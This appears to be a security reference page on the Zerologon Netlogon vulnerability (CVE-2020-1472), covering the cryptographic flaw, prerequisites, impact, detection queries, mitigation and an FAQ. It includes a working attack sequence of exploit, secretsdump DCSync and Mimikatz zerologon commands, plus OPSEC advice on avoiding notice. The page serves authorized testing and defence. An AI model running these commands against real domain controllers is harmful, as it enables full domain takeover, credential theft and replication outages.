How it works
Every domain member and every domain controller has a machine account, and uses its password to set up a Netlogon secure channel with a domain controller over the Netlogon Remote Protocol (MS-NRPC). The two sides exchange 8-byte challenges, derive a session key from the machine password, and each proves knowledge of the key by encrypting the other's challenge into a "credential".
The flaw is in how that credential is computed. Netlogon used AES in CFB8 mode with an initialization vector fixed at all zeros. With a zero IV, an all-zero plaintext encrypts to an all-zero ciphertext for about 1 session key in 256. The attacker doesn't know the session key and doesn't need to: they send a client challenge of eight zero bytes and a credential of eight zero bytes, and repeat. Computer accounts aren't locked out after failed attempts, so after a few hundred tries, a matter of seconds, the domain controller accepts the authentication.
Three more protocol facts turn that bypass into domain compromise:
- Signing and sealing of the channel were optional, and the client could switch them off in the negotiation flags, so the attacker never needs the session key for the calls that follow.
- The attacker can claim to be any computer account, including the domain controller's own.
NetrServerPasswordSet2lets an authenticated machine set its account password. The new password is encrypted with the same broken scheme, so an all-zero buffer is accepted and sets an empty password.
The result: an attacker with nothing but a network path to the domain controller sets the domain controller's machine account password in Active Directory to empty. A domain controller account holds directory replication rights, so the attacker signs in with the empty password and runs DCSync.
Relay variant. The same bypass can be used without changing any password: the attacker coerces one domain controller to authenticate and relays that authentication to another one, using the Netlogon flaw to complete the session and replicate directly. It needs two domain controllers and a way to coerce authentication, and it doesn't break the domain.
What the patch changed. The August 2020 updates made domain controllers require secure RPC for Windows machine accounts, trust accounts and domain controller accounts. From August 2020 to February 2021 the FullSecureChannelProtection registry value decided whether non-Windows devices were held to the same rule. The February 9, 2021 updates put every domain controller in enforcement mode regardless of that value. The one exception that survives is the Group Policy setting "Domain controller: Allow vulnerable Netlogon secure channel connections", an allow list of accounts.
Prerequisites
- Network access to a domain controller's RPC endpoint mapper (TCP 135) and the dynamic port of the Netlogon service. No credentials.
- The NetBIOS name of the domain controller.
- A domain controller without the August 11, 2020 or later security update. Windows Server 2008 SP2 isn't affected, because it doesn't use AES for secure RPC.
- On patched domain controllers, the attack only applies to accounts on the vulnerable-connection allow list, and gives control of that account, not of the domain controller.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Test the domain controller
Secura's tester performs the authentication bypass and stops. It changes nothing:
./zerologon_tester.py DC01 192.0.2.10
The name must be the NetBIOS computer name; a wrong name returns STATUS_INVALID_COMPUTER_NAME. A patched domain controller is reported as not vulnerable after 2,000 attempts.
2. Reset the machine account password
This step breaks the domain controller's secure channel and replication until step 4 is done. In an assessment it needs explicit approval.
python3 cve-2020-1472-exploit.py DC01 192.0.2.10
3. Replicate the directory with the empty password
# The DC account now has an empty password: replicate NTDS secrets over DRSUAPI
secretsdump.py -just-dc -no-pass 'corp.example.com/DC01$@192.0.2.10'
# Or only the accounts that matter
secretsdump.py -just-dc-user krbtgt -no-pass 'corp.example.com/DC01$@192.0.2.10'
4. Restore the original machine password
Use a Domain Admin hash from step 3 to read the domain controller's local secrets. Recent Impacket versions print the machine account's plaintext password, hex encoded, among the LSA secrets:
secretsdump.py -hashes :<administrator-nt-hash> 'corp.example.com/Administrator@192.0.2.10'
python3 restorepassword.py corp.example.com/DC01@DC01 -target-ip 192.0.2.10 -hexpass <hex-machine-password>
restorepassword.py authenticates with the empty password and sets the directory copy back to the value the domain controller still holds locally.
Windows
Mimikatz has the same chain in its lsadump module:
lsadump::zerologon /target:DC01.corp.example.com /account:DC01$
lsadump::zerologon /exploit /target:DC01.corp.example.com /account:DC01$
lsadump::dcsync /domain:corp.example.com /dc:DC01.corp.example.com /user:krbtgt /authuser:DC01$ /authdomain:corp.example.com /authpassword:"" /authntlm
lsadump::postzerologon /target:DC01.corp.example.com /account:DC01$
Impact
Control of a domain controller's machine account is control of the domain. The attacker replicates the krbtgt key, every user and computer hash and the trust keys, which enables Golden Tickets, Pass the Hash as any account, and movement into trusting domains. This is privilege escalation from no account to full domain compromise in a few commands.
There is also an availability impact. While the directory copy and the local copy of the machine password differ, the domain controller can't authenticate to its replication partners and dependent services fail. An attacker who doesn't restore the password leaves an outage behind.
OPSEC and artifacts
- Restoring the password. A careful operator restores the machine password within minutes so that replication errors don't expose the attack. Both changes still happen: two password changes on the domain controller's own account in a short time, recorded as event 4742 with the password last set field changed.
- Anonymous subject. The reset comes over an unauthenticated Netlogon session, so the 4742 event for a domain controller account can show ANONYMOUS LOGON as the subject. A normal machine password rotation shows the machine itself.
- Hundreds of failed authentications. The bypass needs on average 256 attempts. Each failed
NetrServerAuthenticate3call can be logged as NETLOGON event 5805 in the System log, and network sensors see a burst of Netlogon authentication calls with zeroed challenges from one address. - Relay variant. It avoids the password change and the 4742 event, but adds coercion traffic and a replication request from a relayed session.
- On a patched domain controller every attempt writes event 5827 (machine account denied) or 5828 (trust account denied).
- Replication. The DCSync that follows writes event 4662 for the replication rights, from an address that isn't a domain controller, where directory service access auditing is on.
Detection
- Netlogon enforcement events. The Zerologon detection rules read the System log of domain controllers: 5827 and 5828 for denied vulnerable connections, 5830 and 5831 for connections allowed by the policy, and 5829, which only domain controllers still in the 2020 deployment phase write.
- Domain controller account password changed anonymously. Event 4742 where the target is a domain controller account, the password changed and the subject isn't that domain controller.
- A domain controller account signing in from somewhere else. Event 4624 on a domain controller for a DC machine account from an address that doesn't belong to that DC.
- Replication from a non-DC address. See the DCSync rules.
// Netlogon decisions about vulnerable secure channel connections, per domain controller
Event
| where EventLog == "System" and Source == "NETLOGON"
| where EventID in (5827, 5828, 5829, 5830, 5831)
| summarize Events = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
by Computer, EventID
| order by Computer asc, EventID asc
Keep denials and allowances apart. A 5827 is an enforcement decision: the attempt failed. A 5830 or 5831 means a vulnerable connection was accepted for an allow-listed account, and the event doesn't say whether the real device or someone using its exemption made it.
Mitigation
- Patch every domain controller, including read-only ones and those at remote sites, to a current cumulative update. One unpatched domain controller is enough.
- Empty the allow list. Review "Domain controller: Allow vulnerable Netlogon secure channel connections" on every domain controller, including groups nested in it, and remove each account once its device supports secure RPC. An allow-listed account is an account anyone on the network can take over.
- Collect the System log from all domain controllers so events 5827 to 5831 reach the SIEM, and enable Audit Computer Account Management for event 4742.
- Limit network access to domain controllers. Netlogon RPC only needs to be reachable from domain members.
- After exploitation, recover the domain. Restore the machine account, then reset krbtgt twice with the krbtgt password reset guide, reset privileged credentials and review the rest with the Active Directory hardening guide.
- Follow later Netlogon hardening too. The RPC sealing change for CVE-2022-38023 and the patch bypass described in OneLogon show that the secure channel kept needing fixes after 2020.
Detection rules for this attack
Log events to collect
FAQ
Is Zerologon still exploitable?
Not against a domain controller with the August 2020 or later updates, for Windows accounts. Since the February 2021 updates every domain controller refuses Netlogon connections without secure RPC, whatever the registry says. What remains is the allow list: any machine or trust account named in the policy 'Domain controller: Allow vulnerable Netlogon secure channel connections' can still be impersonated over a vulnerable channel.
Why does Zerologon break the domain controller?
The exploit changes the domain controller's machine account password in Active Directory to an empty value, but the copy the domain controller keeps locally stays the same. The two no longer match, so replication with other domain controllers and services that depend on the machine account fail until the original password is put back.
How do you detect a Zerologon attempt?
On patched domain controllers, the System log shows NETLOGON events 5827 and 5828 for denied vulnerable connections and 5830 and 5831 for connections allowed by policy. On any domain controller, look for event 4742 where a domain controller's own account had its password changed by ANONYMOUS LOGON, and for a burst of failed Netlogon authentication from one address.
What should be done after a confirmed Zerologon exploitation?
Treat the whole domain as compromised. The attacker could replicate every credential, including krbtgt. Restore the domain controller's machine account, patch, then follow the domain compromise recovery process: reset krbtgt twice, reset privileged and service account passwords, and review trust accounts and persistence.
References
- Exploitation of Remote Services, T1210 (MITRE ATT&CK)
- CVE-2020-1472: Netlogon Elevation of Privilege Vulnerability (MSRC)
- How to manage the changes in Netlogon secure channel connections associated with CVE-2020-1472 (Microsoft Support)
- VU#490028: Microsoft Windows Netlogon Remote Protocol uses insecure AES-CFB8 initialization vector (CERT/CC)
- ZeroLogon testing script (Secura)
- CVE-2020-1472 POC and restore script (Dirk-jan Mollema)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.